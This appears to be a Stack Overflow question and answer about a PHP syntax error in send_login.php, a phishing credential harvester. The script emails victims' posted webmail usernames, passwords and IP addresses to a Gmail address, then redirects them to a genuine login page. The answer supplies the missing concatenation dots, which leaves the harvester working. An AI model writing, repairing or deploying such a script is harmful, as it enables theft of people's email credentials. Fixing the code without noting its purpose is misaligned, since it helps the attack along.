0

I got this error, Parse error: syntax error, unexpected '"\n"' (T_CONSTANT_ENCAPSED_STRING) in C:\xampp\htdocs\wb\system\send_login.php on line 4

    <?php
$ip = getenv("REMOTE_ADDR");
$message  = "--------------- Webmail Login  --------------\n";
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------Created By KNYGHT-----------------\n";
$send = "briggstonya099@gmail.com";
$subject = "Webmail Login";
$headers = "From: KNYGHT<comp>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($send, $subject, $message); 
header("Location: https://sso.secureserver.net")

;

?>

  • Parse error: syntax error, unexpected '“\n”' (T_CONSTANT_ENCAPSED_STRING) in C:\xampp\htdocs\wb\system\send_login.php on line 4 – Tonya Briggs May 27 '21 at 00:04
  • 2
    Does this answer your question? [PHP parse/syntax errors; and how to solve them](https://stackoverflow.com/questions/18050071/php-parse-syntax-errors-and-how-to-solve-them) – catcon May 27 '21 at 00:11
  • Yes that's my question... – Tonya Briggs May 28 '21 at 03:42

1 Answers1

1

There are two missing ..

Change

$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";

to

$message .= "Username : ".$_POST['user']."\n";
$message .= "Password : ".$_POST['pass']."\n";
Sven Eberth
  • 3,057
  • 12
  • 24
  • 29